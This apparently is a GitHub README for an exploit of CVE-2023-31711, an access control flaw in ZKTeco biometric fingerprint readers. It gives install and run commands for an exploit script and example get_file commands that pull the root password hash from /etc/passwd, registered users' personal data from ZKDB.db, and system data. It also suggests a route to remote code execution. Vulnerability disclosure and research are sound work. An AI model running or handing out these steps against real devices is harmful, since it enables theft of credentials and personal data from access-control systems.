HritikThapa7 / CVE-2023-31711

Zero-day Vulnerability in ZKTEco biometric fingerprint reader.

CVE-2023-31711

Incorrect Access Control in ZKTECO allows remote attackers to read any file via the administrative API.

Installing required modules

• Inside the directory ZKTEco:
  $ pip install -r ./pyzatt/requirements_dev.txt

Running the exploit

• Inside the directory ZKTEco:
  $ python exploit.py <ip_address>
  Connected to 10.0.2.25
  (Cmd) get_file <file_name>
  Examples:
  get_file /etc/passwd: Disclosed root password's hash
  get_file /mnt/mtdblock/data/ZKDB.db: Disclosed PII of registered users. To read the contents, you might need to run this command sequentially as many times till the whole contents
  get disclosed
  get_file /mnt/mtdblock/data/ZKSystem.db: Disclosed sensitive information related to the system

Credits

Exploit: https://github.com/ProCheckUp/SafeScan

Pyzatt Module: https://github.com/adrobinoga/pyzatt

Note

The devices could be potentially vulnerable to Remote Code Execution as well through the use of the administrative API. The exploit mentioned in credits section could be a good place to find a test for it.